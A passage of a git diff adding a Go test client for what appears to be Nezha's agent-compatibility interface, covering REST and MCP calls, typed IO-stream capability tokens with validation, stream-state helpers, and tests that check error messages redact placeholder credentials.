%w", err) + } + if request.Body != nil { + httpRequest.Header.Set("Content-Type", "application/json") + } + client.applyAuthenticatedHeaders(httpRequest, true) + if request.IOStreamCapability.Value() != "" { + httpRequest.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, request.IOStreamCapability.Value()) + } + + status, responseBody, err := client.execute(httpRequest, client.maxResponseBytes) + if err != nil { + return zero, err + } + if status < 200 || status >= 300 { + var envelope CommonResponse[Response] + if json.Unmarshal(responseBody, &envelope) == nil { + return zero, &HTTPError{StatusCode: status, Message: Redact(envelope.Error)} + } + return zero, &HTTPError{StatusCode: status, Message: Redact(string(responseBody))} + } + var envelope CommonResponse[Response] + if err := json.Unmarshal(responseBody, &envelope); err != nil { + return zero, fmt.Errorf("decode REST response: %w", err) + } + if !envelope.Success { + return zero, fmt.Errorf("%w: %s", ErrSemanticFailure, Redact(envelope.Error)) + } + return envelope.Data, nil +} + +func DoREST[Request, Response any](ctx context.Context, client *Client, request RESTRequest[Request]) (Response, error) { + return REST[Request, Response](ctx, client, request) +} + +func (client *Client) execute(request *http.Request, maxBytes int64) (int, []byte, error) { + client.requestCount.Add(1) + response, err := client.httpClient.Do(request) + if err != nil { + if request.Context().Err() != nil { + return 0, nil, fmt.Errorf("HTTP request: %w", request.Context().Err()) + } + return 0, nil, errorsNewRedacted("HTTP request", err) + } + defer response.Body.Close() + + body, err := readBounded(response.Body, maxBytes) + if err != nil { + return response.StatusCode, nil, err + } + return response.StatusCode, body, nil +} + +func readBounded(reader io.Reader, maxBytes int64) ([]byte, error) { + body, err := io.ReadAll(io.LimitReader(reader, maxBytes+1)) + if err != nil { + return nil, fmt.Errorf("read response: %w", err) + } + if int64(len(body)) > maxBytes { + return nil, ErrResponseTooLarge + } + return body, nil +} + +func errorsNewRedacted(operation string, err error) error { + return &redactedOperationError{operation: operation, cause: err} +} + +type redactedOperationError struct { + operation string + cause error +} + +func (err *redactedOperationError) Error() string { + return fmt.Sprintf("%s: %s", err.operation, Redact(err.cause.Error())) +} + +func (err *redactedOperationError) Unwrap() error { + return err.cause +} diff --git a/integration/agentcompat/internal/client/http_capability_test.go b/integration/agentcompat/internal/client/http_capability_test.go new file mode 100644 index 00000000..14949cf1 --- /dev/null +++ b/integration/agentcompat/internal/client/http_capability_test.go @@ -0,0 +1,35 @@ +package client + +import ( + "context" + "encoding/base64" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/nezhahq/nezha/pkg/agentcompatcontract" + "github.com/stretchr/testify/require" +) + +func TestRESTTypedCapabilityHeaderOnlyAttachesWhenRequested(t *testing.T) { + raw := base64.RawURLEncoding.EncodeToString([]byte(strings.Repeat("h", 32))) + capability, err := ParseIOStreamCapability(raw) + require.NoError(t, err) + seen := make(chan string, 2) + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + seen <- request.Header.Get(agentcompatcontract.IOStreamCapabilityHeader) + writer.Header().Set("Content-Type", "application/json") + _, err := writer.Write([]byte(`{"success":true,"data":{}}`)) + require.NoError(t, err) + })) + t.Cleanup(server.Close) + transport := newTestClient(t, Config{BaseURL: server.URL, BearerToken: "private-pat"}) + + _, err = DoREST[struct{}, struct{}](context.Background(), transport, RESTRequest[struct{}]{Method: http.MethodPost, Path: "/ordinary"}) + require.NoError(t, err) + _, err = DoREST[struct{}, struct{}](context.Background(), transport, RESTRequest[struct{}]{Method: http.MethodPost, Path: "/create", IOStreamCapability: capability}) + require.NoError(t, err) + require.Empty(t, <-seen) + require.Equal(t, raw, <-seen) +} diff --git a/integration/agentcompat/internal/client/io_stream_capability.go b/integration/agentcompat/internal/client/io_stream_capability.go new file mode 100644 index 00000000..2a2be009 --- /dev/null +++ b/integration/agentcompat/internal/client/io_stream_capability.go @@ -0,0 +1,106 @@ +package client + +import ( + "context" + "errors" + "net/http" + "strings" +) + +const ( + ioStreamCapabilityRegisterPath = "/agentcompat/io-stream-capability/register" + ioStreamCapabilityWaitPath = "/agentcompat/io-stream-capability/wait" + ioStreamCapabilityCancelPath = "/agentcompat/io-stream-capability/cancel" + ioStreamCapabilityUnregisterPath = "/agentcompat/io-stream-capability/unregister" +) + +const ( + ioStreamCapabilityInvalidMessage = "agentcompat capability request is invalid" + ioStreamCapabilityUnavailableMessage = "agentcompat capability is not available" + ioStreamCapabilityConflictMessage = "agentcompat capability is active" + ioStreamCapabilityCleanupMessage = "agentcompat capability cleanup failed" +) + +type IOStreamCapabilityClient struct { + transport *Client +} + +func (client *Client) IOStreamCapabilities() IOStreamCapabilityClient { + return IOStreamCapabilityClient{transport: client} +} + +func (client IOStreamCapabilityClient) Register(ctx context.Context, request IOStreamCapabilityRegisterRequest) (IOStreamCapabilityRegisterResponse, error) { + if err := validateIOStreamCapabilityIdentity(request.Purpose, request.ServerID, request.ResourceID); err != nil { + return IOStreamCapabilityRegisterResponse{}, err + } + response, err := DoREST[IOStreamCapabilityRegisterRequest, IOStreamCapabilityRegisterResponse](ctx, client.transport, RESTRequest[IOStreamCapabilityRegisterRequest]{ + Method: http.MethodPost, Path: ioStreamCapabilityRegisterPath, Body: &request, + }) + if err != nil { + return IOStreamCapabilityRegisterResponse{}, mapIOStreamCapabilityError(err) + } + if response.Capability.value == "" { + return IOStreamCapabilityRegisterResponse{}, ErrIOStreamCapabilityUnavailable + } + return response, nil +} + +func (client IOStreamCapabilityClient) Wait(ctx context.Context, request IOStreamCapabilityWaitRequest) (IOStreamCapabilityWaitResponse, error) { + access := IOStreamCapabilityAccessRequest(request) + if err := validateIOStreamCapabilityAccess(access); err != nil { + return IOStreamCapabilityWaitResponse{}, err + } + response, err := DoREST[IOStreamCapabilityWaitRequest, IOStreamCapabilityWaitResponse](ctx, client.transport, RESTRequest[IOStreamCapabilityWaitRequest]{ + Method: http.MethodPost, Path: ioStreamCapabilityWaitPath, Body: &request, + }) + if err != nil { + return IOStreamCapabilityWaitResponse{}, mapIOStreamCapabilityError(err) + } + if response.StreamID.value == "" { + return IOStreamCapabilityWaitResponse{}, ErrIOStreamCapabilityUnavailable + } + return response, nil +} + +func (client IOStreamCapabilityClient) Cancel(ctx context.Context, request IOStreamCapabilityAccessRequest) error { + if err := validateIOStreamCapabilityAccess(request); err != nil { + return err + } + _, err := DoREST[IOStreamCapabilityAccessRequest, ioStreamCapabilityEmptyResponse](ctx, client.transport, RESTRequest[IOStreamCapabilityAccessRequest]{ + Method: http.MethodPost, Path: ioStreamCapabilityCancelPath, Body: &request, + }) + return mapIOStreamCapabilityError(err) +} + +func (client IOStreamCapabilityClient) Unregister(ctx context.Context, request IOStreamCapabilityAccessRequest) error { + if err := validateIOStreamCapabilityAccess(request); err != nil { + return err + } + _, err := DoREST[IOStreamCapabilityAccessRequest, ioStreamCapabilityEmptyResponse](ctx, client.transport, RESTRequest[IOStreamCapabilityAccessRequest]{ + Method: http.MethodPost, Path: ioStreamCapabilityUnregisterPath, Body: &request, + }) + return mapIOStreamCapabilityError(err) +} + +func mapIOStreamCapabilityError(err error) error { + if err == nil || errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) { + return err + } + if errors.Is(err, ErrUnauthorized) { + return ErrUnauthorized + } + if errors.Is(err, ErrSemanticFailure) { + message := err.Error() + switch { + case strings.HasSuffix(message, ioStreamCapabilityInvalidMessage): + return ErrInvalidIOStreamCapabilityRequest + case strings.HasSuffix(message, ioStreamCapabilityConflictMessage): + return ErrIOStreamCapabilityConflict + case strings.HasSuffix(message, ioStreamCapabilityCleanupMessage): + return ErrIOStreamCapabilityCleanup + case strings.HasSuffix(message, ioStreamCapabilityUnavailableMessage): + return ErrIOStreamCapabilityUnavailable + } + } + return ErrIOStreamCapabilityUnavailable +} diff --git a/integration/agentcompat/internal/client/io_stream_capability_test.go b/integration/agentcompat/internal/client/io_stream_capability_test.go new file mode 100644 index 00000000..03a0b470 --- /dev/null +++ b/integration/agentcompat/internal/client/io_stream_capability_test.go @@ -0,0 +1,162 @@ +package client + +import ( + "context" + "encoding/base64" + "encoding/json" + "errors" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +func TestIOStreamCapabilityClientUsesTypedPATAuthenticatedWireContract(t *testing.T) { + rawCapability := base64.RawURLEncoding.EncodeToString([]byte(strings.Repeat("c", 32))) + requestNumber := 0 + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + requestNumber++ + require.Equal(t, "Bearer private-pat", request.Header.Get("Authorization")) + writer.Header().Set("Content-Type", "application/json") + switch requestNumber { + case 1: + require.Equal(t, "/agentcompat/io-stream-capability/register", request.URL.Path) + var body IOStreamCapabilityRegisterRequest + require.NoError(t, json.NewDecoder(request.Body).Decode(&body)) + require.Equal(t, IOStreamCapabilityPurposeTerminal, body.Purpose) + require.Equal(t, uint64(7), body.ServerID) + require.Zero(t, body.ResourceID) + _, err := writer.Write([]byte(`{"success":true,"data":{"capability":"` + rawCapability + `"}}`)) + require.NoError(t, err) + case 2: + require.Equal(t, "/agentcompat/io-stream-capability/wait", request.URL.Path) + var body IOStreamCapabilityWaitRequest + require.NoError(t, json.NewDecoder(request.Body).Decode(&body)) + require.Equal(t, rawCapability, body.Capability.Value()) + _, err := writer.Write([]byte(`{"success":true,"data":{"stream_id":"private-stream"}}`)) + require.NoError(t, err) + case 3, 4: + expectedPath := "/agentcompat/io-stream-capability/cancel" + if requestNumber == 4 { + expectedPath = "/agentcompat/io-stream-capability/unregister" + } + require.Equal(t, expectedPath, request.URL.Path) + _, err := writer.Write([]byte(`{"success":true,"data":{}}`)) + require.NoError(t, err) + default: + t.Fatalf("unexpected request %d", requestNumber) + } + })) + t.Cleanup(server.Close) + transport := newTestClient(t, Config{BaseURL: server.URL, BearerToken: "private-pat"}) + capabilities := transport.IOStreamCapabilities() + + registered, err := capabilities.Register(context.Background(), IOStreamCapabilityRegisterRequest{Purpose: IOStreamCapabilityPurposeTerminal, ServerID: 7}) + require.NoError(t, err) + require.Equal(t, rawCapability, registered.Capability.Value()) + waited, err := capabilities.Wait(context.Background(), IOStreamCapabilityWaitRequest{Capability: registered.Capability, Purpose: IOStreamCapabilityPurposeTerminal, ServerID: 7}) + require.NoError(t, err) + require.Equal(t, "private-stream", waited.StreamID.Value()) + access := IOStreamCapabilityAccessRequest{Capability: registered.Capability, Purpose: IOStreamCapabilityPurposeTerminal, ServerID: 7} + require.NoError(t, capabilities.Cancel(context.Background(), access)) + require.NoError(t, capabilities.Unregister(context.Background(), access)) + require.Equal(t, 4, requestNumber) +} + +func TestIOStreamCapabilityClientValidatesBeforeDispatch(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) { + t.Fatal("invalid request must not dispatch") + })) + t.Cleanup(server.Close) + transport := newTestClient(t, Config{BaseURL: server.URL}) + capabilities := transport.IOStreamCapabilities() + + _, err := capabilities.Register(context.Background(), IOStreamCapabilityRegisterRequest{Purpose: "unknown", ServerID: 7}) + require.ErrorIs(t, err, ErrInvalidIOStreamCapabilityRequest) + _, err = capabilities.Register(context.Background(), IOStreamCapabilityRegisterRequest{Purpose: IOStreamCapabilityPurposeNAT, ServerID: 7}) + require.ErrorIs(t, err, ErrInvalidIOStreamCapabilityRequest) + _, err = capabilities.Wait(context.Background(), IOStreamCapabilityWaitRequest{Purpose: IOStreamCapabilityPurposeTerminal, ServerID: 7}) + require.ErrorIs(t, err, ErrInvalidIOStreamCapabilityRequest) + require.Zero(t, transport.RequestCount()) +} + +func TestIOStreamCapabilityClientErrorsNeverEchoSensitiveValues(t *testing.T) { + rawCapability := base64.RawURLEncoding.EncodeToString([]byte(strings.Repeat("s", 32))) + capability, err := ParseIOStreamCapability(rawCapability) + require.NoError(t, err) + privateValues := []string{rawCapability, "private-stream", "private-pat", "Authorization", "private-creator", "private-server"} + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + writer.Header().Set("Content-Type", "application/json") + _, writeErr := writer.Write([]byte(`{"success":false,"error":"capability ` + rawCapability + ` stream private-stream Authorization: Bearer private-pat creator private-creator server private-server"}`)) + require.NoError(t, writeErr) + })) + t.Cleanup(server.Close) + transport := newTestClient(t, Config{BaseURL: server.URL, BearerToken: "private-pat"}) + access := IOStreamCapabilityAccessRequest{Capability: capability, Purpose: IOStreamCapabilityPurposeTerminal, ServerID: 7} + + for _, invoke := range []func() error{ + func() error { + _, callErr := transport.IOStreamCapabilities().Wait(context.Background(), IOStreamCapabilityWaitRequest(access)) + return callErr + }, + func() error { return transport.IOStreamCapabilities().Cancel(context.Background(), access) }, + func() error { return transport.IOStreamCapabilities().Unregister(context.Background(), access) }, + } { + callErr := invoke() + require.ErrorIs(t, callErr, ErrIOStreamCapabilityUnavailable) + for _, privateValue := range privateValues { + require.NotContains(t, callErr.Error(), privateValue) + } + } +} + +func TestIOStreamCapabilityClientPreservesCancellationIdentity(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + select { + case <-request.Context().Done(): + case <-time.After(time.Second): + t.Error("request context was not canceled") + } + })) + t.Cleanup(server.Close) + transport := newTestClient(t, Config{BaseURL: server.URL}) + rawCapability := base64.RawURLEncoding.EncodeToString([]byte(strings.Repeat("x", 32))) + capability, err := ParseIOStreamCapability(rawCapability) + require.NoError(t, err) + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + _, err = transport.IOStreamCapabilities().Wait(ctx, IOStreamCapabilityWaitRequest{Capability: capability, Purpose: IOStreamCapabilityPurposeTerminal, ServerID: 7}) + require.True(t, errors.Is(err, context.Canceled)) +} + +func TestIOStreamCapabilityClientMapsTypedNonsecretErrors(t *testing.T) { + messages := []struct { + message string + target error + }{ + {message: ioStreamCapabilityConflictMessage, target: ErrIOStreamCapabilityConflict}, + {message: ioStreamCapabilityCleanupMessage, target: ErrIOStreamCapabilityCleanup}, + {message: ioStreamCapabilityUnavailableMessage, target: ErrIOStreamCapabilityUnavailable}, + } + for _, testCase := range messages { + t.Run(testCase.message, func(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + writer.Header().Set("Content-Type", "application/json") + _, err := writer.Write([]byte(`{"success":false,"error":"` + testCase.message + `"}`)) + require.NoError(t, err) + })) + t.Cleanup(server.Close) + transport := newTestClient(t, Config{BaseURL: server.URL}) + rawCapability := base64.RawURLEncoding.EncodeToString([]byte(strings.Repeat("m", 32))) + capability, err := ParseIOStreamCapability(rawCapability) + require.NoError(t, err) + callErr := transport.IOStreamCapabilities().Unregister(context.Background(), IOStreamCapabilityAccessRequest{Capability: capability, Purpose: IOStreamCapabilityPurposeTerminal, ServerID: 7}) + require.ErrorIs(t, callErr, testCase.target) + require.Equal(t, testCase.target.Error(), callErr.Error()) + }) + } +} diff --git a/integration/agentcompat/internal/client/io_stream_capability_types.go b/integration/agentcompat/internal/client/io_stream_capability_types.go new file mode 100644 index 00000000..90fdc1c3 --- /dev/null +++ b/integration/agentcompat/internal/client/io_stream_capability_types.go @@ -0,0 +1,126 @@ +package client + +import ( + "encoding/base64" + "encoding/json" + "errors" +) + +var ( + ErrInvalidIOStreamCapabilityRequest = errors.New("client: invalid IOStream capability request") + ErrIOStreamCapabilityUnavailable = errors.New("client: IOStream capability unavailable") + ErrIOStreamCapabilityConflict = errors.New("client: IOStream capability active") + ErrIOStreamCapabilityCleanup = errors.New("client: IOStream capability cleanup failed") +) + +type IOStreamCapabilityPurpose string + +const ( + IOStreamCapabilityPurposeTerminal IOStreamCapabilityPurpose = "terminal" + IOStreamCapabilityPurposeFileManager IOStreamCapabilityPurpose = "file_manager" + IOStreamCapabilityPurposeNAT IOStreamCapabilityPurpose = "nat" +) + +type IOStreamCapability struct { + value string +} + +func ParseIOStreamCapability(value string) (IOStreamCapability, error) { + raw, err := base64.RawURLEncoding.DecodeString(value) + if err != nil || len(raw) != 32 { + return IOStreamCapability{}, ErrInvalidIOStreamCapabilityRequest + } + return IOStreamCapability{value: value}, nil +} + +func (capability IOStreamCapability) Value() string { + return capability.value +} + +func (capability IOStreamCapability) MarshalJSON() ([]byte, error) { + if capability.value == "" { + return nil, ErrInvalidIOStreamCapabilityRequest + } + return json.Marshal(capability.value) +} + +func (capability *IOStreamCapability) UnmarshalJSON(data []byte) error { + var value string + if err := json.Unmarshal(data, &value); err != nil { + return ErrInvalidIOStreamCapabilityRequest + } + parsed, err := ParseIOStreamCapability(value) + if err != nil { + return err + } + *capability = parsed + return nil +} + +type IOStreamID struct { + value string +} + +func (streamID IOStreamID) Value() string { + return streamID.value +} + +func (streamID *IOStreamID) UnmarshalJSON(data []byte) error { + var value string + if err := json.Unmarshal(data, &value); err != nil || value == "" { + return ErrIOStreamCapabilityUnavailable + } + streamID.value = value + return nil +} + +type IOStreamCapabilityRegisterRequest struct { + Purpose IOStreamCapabilityPurpose `json:"purpose"` + ServerID uint64 `json:"server_id"` + ResourceID uint64 `json:"resource_id,omitempty"` +} + +type IOStreamCapabilityRegisterResponse struct { + Capability IOStreamCapability `json:"capability"` +} + +type IOStreamCapabilityAccessRequest struct { + Capability IOStreamCapability `json:"capability"` + Purpose IOStreamCapabilityPurpose `json:"purpose"` + ServerID uint64 `json:"server_id"` + ResourceID uint64 `json:"resource_id,omitempty"` +} + +type IOStreamCapabilityWaitRequest IOStreamCapabilityAccessRequest + +type IOStreamCapabilityWaitResponse struct { + StreamID IOStreamID `json:"stream_id"` +} + +type ioStreamCapabilityEmptyResponse struct{} + +func validateIOStreamCapabilityIdentity(purpose IOStreamCapabilityPurpose, serverID, resourceID uint64) error { + if serverID == 0 { + return ErrInvalidIOStreamCapabilityRequest + } + switch purpose { + case IOStreamCapabilityPurposeTerminal, IOStreamCapabilityPurposeFileManager: + if resourceID != 0 { + return ErrInvalidIOStreamCapabilityRequest + } + case IOStreamCapabilityPurposeNAT: + if resourceID == 0 { + return ErrInvalidIOStreamCapabilityRequest + } + default: + return ErrInvalidIOStreamCapabilityRequest + } + return nil +} + +func validateIOStreamCapabilityAccess(request IOStreamCapabilityAccessRequest) error { + if request.Capability.value == "" { + return ErrInvalidIOStreamCapabilityRequest + } + return validateIOStreamCapabilityIdentity(request.Purpose, request.ServerID, request.ResourceID) +} diff --git a/integration/agentcompat/internal/client/io_stream_state.go b/integration/agentcompat/internal/client/io_stream_state.go new file mode 100644 index 00000000..1321e03d --- /dev/null +++ b/integration/agentcompat/internal/client/io_stream_state.go @@ -0,0 +1,29 @@ +package client + +import ( + "context" + "net/http" +) + +type IOStreamState struct { + Count int `json:"count"` + Generation uint64 `json:"generation"` +} + +type IOStreamStateExpectation struct { + ExpectedCount *int `json:"expected_count,omitempty"` + PresentStreamID string `json:"present_stream_id,omitempty"` + AbsentStreamID string `json:"absent_stream_id,omitempty"` +} + +func ExpectedIOStreamCount(count int) *int { + return &count +} + +func (client *Client) IOStreamState(ctx context.Context) (IOStreamState, error) { + return DoREST[struct{}, IOStreamState](ctx, client, RESTRequest[struct{}]{Method: http.MethodGet, Path: "/agentcompat/io-stream-state"}) +} + +func (client *Client) WaitForIOStreamState(ctx context.Context, expectation IOStreamStateExpectation) (IOStreamState, error) { + return DoREST[IOStreamStateExpectation, IOStreamState](ctx, client, RESTRequest[IOStreamStateExpectation]{Method: http.MethodPost, Path: "/agentcompat/io-stream-state", Body: &expectation}) +} diff --git a/integration/agentcompat/internal/client/io_stream_state_test.go b/integration/agentcompat/internal/client/io_stream_state_test.go new file mode 100644 index 00000000..0a0bb71e --- /dev/null +++ b/integration/agentcompat/internal/client/io_stream_state_test.go @@ -0,0 +1,114 @@ +package client + +import ( + "context" + "encoding/json" + "errors" + "net/http" + "net/http/httptest" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestClientIOStreamStateHelpersUseTypedRESTContracts(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + writer.Header().Set("Content-Type", "application/json") + switch request.Method { + case http.MethodGet: + require.Equal(t, "/agentcompat/io-stream-state", request.URL.Path) + _, err := writer.Write([]byte(`{"success":true,"data":{"count":0,"generation":4}}`)) + require.NoError(t, err) + case http.MethodPost: + var payload map[string]json.RawMessage + require.NoError(t, json.NewDecoder(request.Body).Decode(&payload)) + var expectedCount int + require.NoError(t, json.Unmarshal(payload["expected_count"], &expectedCount)) + require.Equal(t, 0, expectedCount) + var absentStreamID string + require.NoError(t, json.Unmarshal(payload["absent_stream_id"], &absentStreamID)) + require.Equal(t, "stream-id", absentStreamID) + var presentStreamID string + require.NoError(t, json.Unmarshal(payload["present_stream_id"], &presentStreamID)) + require.Equal(t, "present-id", presentStreamID) + _, err := writer.Write([]byte(`{"success":true,"data":{"count":0,"generation":5}}`)) + require.NoError(t, err) + default: + writer.WriteHeader(http.StatusMethodNotAllowed) + } + })) + t.Cleanup(server.Close) + httpClient := newTestClient(t, Config{BaseURL: server.URL}) + snapshot, err := httpClient.IOStreamState(context.Background()) + require.NoError(t, err) + require.Equal(t, IOStreamState{Count: 0, Generation: 4}, snapshot) + waited, err := httpClient.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(0), PresentStreamID: "present-id", AbsentStreamID: "stream-id"}) + require.NoError(t, err) + require.Equal(t, IOStreamState{Count: 0, Generation: 5}, waited) +} + +func TestClientIOStreamStateExpectationJSONPresence(t *testing.T) { + requestCount := 0 + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + var payload map[string]json.RawMessage + require.NoError(t, json.NewDecoder(request.Body).Decode(&payload)) + requestCount++ + if requestCount == 2 { + require.NotContains(t, payload, "expected_count") + } else { + value, exists := payload["expected_count"] + require.True(t, exists) + var count int + require.NoError(t, json.Unmarshal(value, &count)) + require.Zero(t, count) + } + writer.Header().Set("Content-Type", "application/json") + _, err := writer.Write([]byte(`{"success":true,"data":{"count":0,"generation":1}}`)) + require.NoError(t, err) + })) + t.Cleanup(server.Close) + httpClient := newTestClient(t, Config{BaseURL: server.URL}) + _, err := httpClient.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(0)}) + require.NoError(t, err) + _, err = REST[IOStreamStateExpectation, IOStreamState](context.Background(), httpClient, RESTRequest[IOStreamStateExpectation]{ + Method: http.MethodPost, + Path: "/agentcompat/io-stream-state", + Body: &IOStreamStateExpectation{AbsentStreamID: "stream-id"}, + }) + require.NoError(t, err) +} + +func TestClientIOStreamStateMapsSemanticFailure(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + writer.Header().Set("Content-Type", "application/json") + _, err := writer.Write([]byte(`{"success":false,"error":"invalid expectation"}`)) + require.NoError(t, err) + })) + t.Cleanup(server.Close) + httpClient := newTestClient(t, Config{BaseURL: server.URL}) + state, err := httpClient.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{AbsentStreamID: "private-stream-id"}) + require.ErrorIs(t, err, ErrSemanticFailure) + require.Zero(t, state) +} + +func TestClientIOStreamStateMapsUnauthorizedGETAndPOST(t *testing.T) { + for _, method := range []string{http.MethodGet, http.MethodPost} { + t.Run(method, func(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + writer.WriteHeader(http.StatusUnauthorized) + })) + t.Cleanup(server.Close) + httpClient := newTestClient(t, Config{BaseURL: server.URL}) + var state IOStreamState + var err error + if method == http.MethodGet { + state, err = httpClient.IOStreamState(context.Background()) + } else { + state, err = httpClient.WaitForIOStreamState(context.Background(), IOStreamStateExpectation{ExpectedCount: ExpectedIOStreamCount(0)}) + } + require.Error(t, err) + require.True(t, errors.Is(err, ErrUnauthorized)) + require.Zero(t, state) + }) + } +} diff --git a/integration/agentcompat/internal/client/mcp.go b/integration/agentcompat/internal/client/mcp.go new file mode 100644 index 00000000..ed56e13e --- /dev/null +++ b/integration/agentcompat/internal/client/mcp.go @@ -0,0 +1,156 @@ +package client + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "net/http" +) + +type MCPContent struct { + Type string `json:"type"` + Text string `json:"text"` +} + +type ToolCall[Arguments any] struct { + Name string + Arguments Arguments +} + +type ToolCallResult[Result any] struct { + Content []MCPContent `json:"content"` + StructuredContent Result `json:"structuredContent"` + IsError bool `json:"isError"` +} + +type toolCallWireResult struct { + Content []MCPContent `json:"content"` + StructuredContent json.RawMessage `json:"structuredContent"` + IsError bool `json:"isError"` +} + +type InitializeResult struct { + ProtocolVersion string `json:"protocolVersion"` + ServerInfo struct { + Name string `json:"name"` + Version string `json:"version"` + } `json:"serverInfo"` +} + +type Tool struct { + Name string `json:"name"` + Description string `json:"description"` +} + +type ToolsListResult struct { + Tools []Tool `json:"tools"` +} + +type jsonRPCRequest[Params any] struct { + JSONRPC string `json:"jsonrpc"` + ID uint64 `json:"id"` + Method string `json:"method"` + Params Params `json:"params"` +} + +type jsonRPCResponse struct { + JSONRPC string `json:"jsonrpc"` + ID uint64 `json:"id"` + Result *json.RawMessage `json:"result"` + Error *RPCError `json:"error"` +} + +type toolCallParams[Arguments any] struct { + Name string `json:"name"` + Arguments Arguments `json:"arguments"` +} + +func (client *Client) Initialize(ctx context.Context) (InitializeResult, error) { + return mcpCall[struct{}, InitializeResult](ctx, client, "initialize", struct{}{}) +} + +func (client *Client) ListTools(ctx context.Context) (ToolsListResult, error) { + return mcpCall[struct{}, ToolsListResult](ctx, client, "tools/list", struct{}{}) +} + +func CallTool[Arguments, Result any](ctx context.Context, client *Client, call ToolCall[Arguments]) (ToolCallResult[Result], error) { + wireResult, err := mcpCall[toolCallParams[Arguments], toolCallWireResult](ctx, client, "tools/call", toolCallParams[Arguments]{ + Name: call.Name, + Arguments: call.Arguments, + }) + if err != nil { + return ToolCallResult[Result]{}, err + } + if wireResult.IsError { + message := "tool returned an error" + if len(wireResult.Content) > 0 && wireResult.Content[0].Text != "" { + message = wireResult.Content[0].Text + } + return ToolCallResult[Result]{}, &ToolFailure{Message: message, StructuredContent: json.RawMessage(Redact(string(wireResult.StructuredContent)))} + } + var result Result + if len(wireResult.StructuredContent) > 0 && string(wireResult.StructuredContent) != "null" { + if err := json.Unmarshal(wireResult.StructuredContent, &result); err != nil { + return ToolCallResult[Result]{}, fmt.Errorf("decode MCP tool structured content: %w", err) + } + } + return ToolCallResult[Result]{Content: wireResult.Content, StructuredContent: result, IsError: wireResult.IsError}, nil +} + +func mcpCall[Params, Result any](ctx context.Context, client *Client, method string, params Params) (Result, error) { + var zero Result + requestID := client.nextRequestID.Add(1) + requestBody, err := json.Marshal(jsonRPCRequest[Params]{JSONRPC: "2.0", ID: requestID, Method: method, Params: params}) + if err != nil { + return zero, fmt.Errorf("encode MCP request: %w", err) + } + requestURL, err := client.resolvePath("/mcp") + if err != nil { + return zero, err + } + requestContext, cancel := client.requestContext(ctx) + defer cancel() + httpRequest, err := http.NewRequestWithContext(requestContext, http.MethodPost, requestURL.String(), bytes.NewReader(requestBody)) + if err != nil { + return zero, fmt.Errorf("create MCP request: %w", err) + } + httpRequest.Header.Set("Content-Type", "application/json") + client.applyAuthenticatedHeaders(httpRequest, false) + + status, responseBody, err := client.execute(httpRequest, client.maxResponseBytes) + if err != nil { + return zero, err + } + var envelope jsonRPCResponse + if status < 200 || status >= 300 { + message := "" + if json.Unmarshal(responseBody, &envelope) == nil && envelope.Error != nil { + message = Redact(envelope.Error.Message) + } else { + message = Redact(string(responseBody)) + } + return zero, &HTTPError{StatusCode: status, Message: message} + } + if err := json.Unmarshal(responseBody, &envelope); err != nil { + return zero, fmt.Errorf("decode MCP response: %w", err) + } + if envelope.JSONRPC != "2.0" || envelope.ID != requestID { + return zero, fmt.Errorf("%w: invalid response envelope", ErrJSONRPC) + } + if (envelope.Result == nil) == (envelope.Error == nil) { + return zero, fmt.Errorf("%w: response must contain exactly one of result or error", ErrJSONRPC) + } + if envelope.Error != nil { + envelope.Error.Message = Redact(envelope.Error.Message) + return zero, envelope.Error + } + if string(*envelope.Result) == "null" { + return zero, fmt.Errorf("%w: null result", ErrJSONRPC) + } + var result Result + if err := json.Unmarshal(*envelope.Result, &result); err != nil { + return zero, fmt.Errorf("decode MCP result: %w", err) + } + return result, nil +} diff --git a/integration/agentcompat/internal/client/mcp_filesystem.go b/integration/agentcompat/internal/client/mcp_filesystem.go new file mode 100644 index 00000000..9e1b0466 --- /dev/null +++ b/integration/agentcompat/internal/client/mcp_filesystem.go @@ -0,0 +1,104 @@ +package client + +import "encoding/json" + +type WhoAmIResult struct { + UserID uint64 `json:"user_id"` + IsAdmin bool `json:"is_admin"` + TokenID uint64 `json:"token_id"` + TokenName string `json:"token_name"` + Scopes []string `json:"scopes"` + ServerIDs []uint64 `json:"server_ids"` +} + +type ServerListArguments struct { + OnlineOnly bool `json:"online_only"` +} + +type ServerListItem struct { + ID uint64 `json:"id"` + Name string `json:"name"` + UUID string `json:"uuid"` + Online bool `json:"online"` +} + +type ServerListResult struct { + Servers []ServerListItem `json:"servers"` + Count int `json:"count"` +} + +type ServerGetArguments struct { + ServerID uint64 `json:"server_id"` +} + +type ServerGetResult struct { + ID uint64 `json:"id"` + Name string `json:"name"` + UUID string `json:"uuid"` + Host json.RawMessage `json:"host"` + State json.RawMessage `json:"state"` +} + +type FsListArguments struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` + ShowHidden bool `json:"show_hidden"` +} + +type FsEntry struct { + Name string `json:"name"` + Type string `json:"type"` + Size int64 `json:"size"` + Mode string `json:"mode"` + MTime int64 `json:"mtime"` + IsSymlink bool `json:"is_symlink"` + LinkTarget string `json:"link_target"` +} + +type FsListResult struct { + Entries []FsEntry `json:"entries"` + Truncated bool 